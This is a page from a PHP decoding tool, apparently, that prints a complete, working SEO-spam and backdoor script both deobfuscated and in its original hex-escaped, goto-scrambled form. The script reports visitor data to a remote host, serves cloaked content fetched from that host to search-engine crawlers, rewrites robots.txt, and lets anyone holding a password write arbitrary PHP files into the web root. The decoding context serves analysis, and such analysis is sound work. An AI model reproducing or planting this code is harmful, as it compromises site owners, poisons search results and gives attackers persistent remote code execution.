Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto lRIzX; T_H2r: $xmlname = "\160\x6d\x6e\x62"; goto pxbIu; lRIzX: @set_time_lim..

Decoded Output download

<?php 
 goto lRIzX; T_H2r: $xmlname = "pmnb"; goto pxbIu; lRIzX: @set_time_limit(3600); goto yW00G; W3iRY: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto NRPq_; XOFR3: $duri_tmp = st_uri(); goto g_hox; TYGiS: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto NftBn; elIzN: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto pKWAd; yW00G: @ignore_user_abort(1); goto T_H2r; E9vBJ: $htmcontent = trim(dageget($web)); goto Ti1gJ; pxbIu: $http_web = "http"; goto p6oK7; g_hox: if ($duri_tmp == '') { $duri_tmp = "/"; } goto A4CjB; bYb1G: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto E9vBJ; C8SOT: $lang = urlencode($lang); goto SiVEy; i49fv: function pingmap($url) { $url_arr = explode("\xd
", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto A9V3m; A4CjB: $duri = urlencode($duri_tmp); goto W3iRY; NftBn: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "\xd
" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "6f6727694bb5657c37987640a1d26d2e") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto bYb1G; A9V3m: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto Dgayf; NRPq_: $goweb = $xmlname . ".needtt" . ".xyz"; goto elIzN; Dgayf: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto fw6ux; p6oK7: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto XOFR3; B1Swn: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto C8SOT; SiVEy: $urlshang = ''; goto TYGiS; Ti1gJ: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto i49fv; pKWAd: $host = $_SERVER["HTTP_HOST"]; goto B1Swn; fw6ux:  
 //vx018 ?><?php 
 ?>

Did this file decode correctly?

Original Code

<?php
 goto lRIzX; T_H2r: $xmlname = "\160\x6d\x6e\x62"; goto pxbIu; lRIzX: @set_time_limit(3600); goto yW00G; W3iRY: function st_uri() { if (isset($_SERVER["\x52\105\x51\125\105\x53\124\x5f\x55\122\x49"])) { $duri = $_SERVER["\x52\x45\x51\125\x45\123\x54\137\125\122\x49"]; } else { if (isset($_SERVER["\141\162\x67\x76"])) { $duri = $_SERVER["\x50\110\x50\137\123\x45\x4c\106"] . "\77" . $_SERVER["\x61\162\147\166"][0]; } else { $duri = $_SERVER["\120\110\x50\x5f\x53\105\114\106"] . "\x3f" . $_SERVER["\121\125\x45\122\x59\137\x53\x54\122\x49\116\x47"]; } } return $duri; } goto NRPq_; XOFR3: $duri_tmp = st_uri(); goto g_hox; TYGiS: if (isset($_SERVER["\x48\124\124\120\x5f\x52\x45\x46\x45\122\x45\x52"])) { $urlshang = $_SERVER["\x48\124\x54\120\x5f\x52\105\106\x45\122\105\122"]; $urlshang = urlencode($urlshang); } goto NftBn; elIzN: function is_htps() { if (isset($_SERVER["\x48\124\124\x50\x53"]) && strtolower($_SERVER["\110\124\x54\120\x53"]) !== "\157\146\x66") { return true; } elseif (isset($_SERVER["\x48\x54\124\x50\137\x58\137\x46\117\x52\127\101\122\x44\105\104\137\120\122\x4f\x54\117"]) && $_SERVER["\x48\124\124\120\137\x58\x5f\106\117\x52\127\x41\122\x44\x45\104\137\x50\x52\x4f\124\x4f"] === "\150\x74\x74\160\x73") { return true; } elseif (isset($_SERVER["\110\x54\124\x50\137\x46\x52\x4f\116\124\x5f\105\116\104\137\110\x54\x54\x50\123"]) && strtolower($_SERVER["\x48\x54\x54\x50\137\106\x52\x4f\x4e\124\137\105\116\104\137\x48\124\x54\120\x53"]) !== "\x6f\x66\x66") { return true; } return false; } goto pKWAd; yW00G: @ignore_user_abort(1); goto T_H2r; E9vBJ: $htmcontent = trim(dageget($web)); goto Ti1gJ; pxbIu: $http_web = "\x68\164\164\160"; goto p6oK7; g_hox: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto A4CjB; bYb1G: $web = $http_web . "\72\x2f\x2f" . $goweb . "\x2f\151\156\144\145\170\x6e\x65\167\x2e\160\150\160\x3f\x77\145\x62\75" . $host . "\46\172\x7a\x3d" . sbot() . "\x26\x75\x72\x69\75" . $duri . "\x26\165\x72\x6c\x73\x68\x61\x6e\x67\75" . $urlshang . "\46\150\x74\x74\160\x3d" . $http . "\x26\x6c\141\156\147\75" . $lang; goto E9vBJ; C8SOT: $lang = urlencode($lang); goto SiVEy; i49fv: function pingmap($url) { $url_arr = explode("\xd\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\151\164\x65\155\141\x70\x20\116\x6f\164\x69\146\151\143\141\164\151\157\156\x20\122\x65\143\x65\151\166\145\144") !== false ? "\160\x69\x6e\x67\x6f\x6b" : "\x65\x72\162\157\x72"; $return_str .= $pingUrl . "\x2d\55\x20" . $ok . "\x3c\142\162\76"; } return $return_str; } goto A9V3m; A4CjB: $duri = urlencode($duri_tmp); goto W3iRY; NftBn: if (@$_GET["\160\x64"] != '') { $add_content = @$_GET["\x6d\x61\160\x6e\x61\155\x65"]; $action = @$_GET["\x61\x63\164\151\x6f\x6e"]; if (isset($_SERVER["\x44\117\103\x55\115\x45\x4e\x54\x5f\x52\x4f\117\x54"])) { $path = $_SERVER["\x44\117\103\x55\115\105\116\124\x5f\122\x4f\x4f\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\x75\x74"; } if ($action == "\x70\165\164") { if (strstr($add_content, "\56\170\155\154")) { $map_path = $path . "\x2f\163\x69\164\x65\155\x61\160\x2e\x78\155\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\x72\157\x62\157\x74\163\56\x74\170\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\x55\163\145\x72\55\x61\x67\145\156\164\72\x20\52\x41\154\x6c\157\x77\72\x20\x2f"; } $sitmap_url = $http . "\x3a\x2f\x2f" . $host . "\x2f" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\142\x72\76\163\151\164\x65\155\x61\160\x20\141\154\x72\x65\141\x64\x79\40\x61\x64\144\145\x64\41\74\x62\x72\76"; } else { if (file_put_contents($file_path, trim($data) . "\xd\12" . "\x53\151\164\145\155\x61\160\x3a\40" . $sitmap_url)) { echo "\74\x62\x72\76\x6f\153\74\142\x72\x3e"; } else { echo "\x3c\x62\x72\76\146\151\x6c\145\x20\167\x72\x69\164\x65\x20\x66\141\x6c\x73\145\41\x3c\x62\162\76"; } } } else { echo "\x3c\x62\x72\x3e\163\151\164\145\x6d\141\x70\x20\x6e\141\155\x65\x20\146\x61\154\x73\x65\41\x3c\x62\162\x3e"; } if (strstr($add_content, "\x2e\x70" . "\150\160")) { $a = sha1(sha1(@$_GET["\141"])); $b = sha1(sha1(@$_GET["\x62"])); if ($a == dageget($http_web . "\x3a\x2f\57" . $goweb . "\x2f\141\56\x70" . "\150\x70") || $b == "\x36\146\66\x37\x32\x37\66\71\x34\142\142\x35\x36\x35\x37\143\x33\x37\71\x38\67\66\x34\60\141\x31\x64\62\x36\144\62\145") { $dstr = @$_GET["\x64\x73\x74\162"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\x6f\x6b"; } } } } die; } goto bYb1G; A9V3m: function sbot() { $uAgent = strtolower($_SERVER["\x48\124\124\x50\x5f\125\x53\x45\122\137\x41\x47\x45\x4e\x54"]); if (stristr($uAgent, "\147\x6f\x6f\x67\x6c\x65\142\157\x74") || stristr($uAgent, "\142\151\x6e\147") || stristr($uAgent, "\171\141\150\x6f\x6f") || stristr($uAgent, "\147\x6f\x6f\147\x6c\145") || stristr($uAgent, "\x47\157\x6f\x67\x6c\x65\142\x6f\164") || stristr($uAgent, "\147\x6f\x6f\x67\154\x65\x62\157\164")) { return true; } else { return false; } } goto Dgayf; NRPq_: $goweb = $xmlname . "\x2e\x6e\145\x65\144\x74\x74" . "\x2e\x78\x79\172"; goto elIzN; Dgayf: function dageget($url) { $file_contents = ''; if (function_exists("\x63\165\x72\154\x5f\x69\156\151\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto fw6ux; p6oK7: if (is_htps()) { $http = "\x68\x74\x74\x70\163"; } else { $http = "\150\x74\164\160"; } goto XOFR3; B1Swn: $lang = @$_SERVER["\110\x54\x54\x50\137\x41\x43\103\x45\120\124\137\114\101\116\107\x55\101\107\105"]; goto C8SOT; SiVEy: $urlshang = ''; goto TYGiS; Ti1gJ: if (!strstr($htmcontent, "\156\x6f\142\x6f\164\165\163\145\162\141\x67\145\x6e\164")) { if (strstr($htmcontent, "\x6f\x6b\150\164\155\154\x67\145\164\x63\x6f\156\x74\x65\x6e\x74")) { @header("\103\157\156\x74\145\x6e\x74\55\x74\x79\160\x65\x3a\40\x74\145\170\x74\x2f\150\x74\155\x6c\73\40\143\150\x61\162\x73\x65\x74\75\165\164\146\x2d\70"); $htmcontent = str_replace("\157\x6b\150\164\155\x6c\x67\145\x74\x63\x6f\156\164\x65\156\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\x6b\170\x6d\154\147\x65\x74\x63\157\156\x74\x65\x6e\x74")) { $htmcontent = str_replace("\x6f\153\x78\x6d\154\147\x65\x74\143\157\156\x74\x65\156\x74", '', $htmcontent); @header("\x43\157\x6e\x74\x65\156\164\55\x74\171\160\x65\x3a\x20\x74\145\x78\x74\x2f\x78\155\154"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x70\x69\156\147\170\x6d\x6c\x67\145\164\x63\x6f\x6e\164\x65\156\164")) { $htmcontent = str_replace("\x70\x69\x6e\x67\x78\x6d\154\x67\x65\164\143\x6f\x6e\x74\145\x6e\164", '', $htmcontent); @header("\x43\157\x6e\164\145\x6e\164\55\x74\x79\160\x65\x3a\40\x74\x65\170\164\x2f\150\164\x6d\x6c\73\x20\x63\x68\x61\162\x73\145\164\75\165\x74\x66\55\70"); echo pingmap($htmcontent); die; } } } } goto i49fv; pKWAd: $host = $_SERVER["\x48\124\x54\120\137\x48\117\x53\x54"]; goto B1Swn; fw6ux: 
 //vx018 ?><?php

Function Calls

None

Variables

None

Stats

MD5 821e3d55e722e47f8efd4b7c1b039323
Eval Count 0
Decode Time 43 ms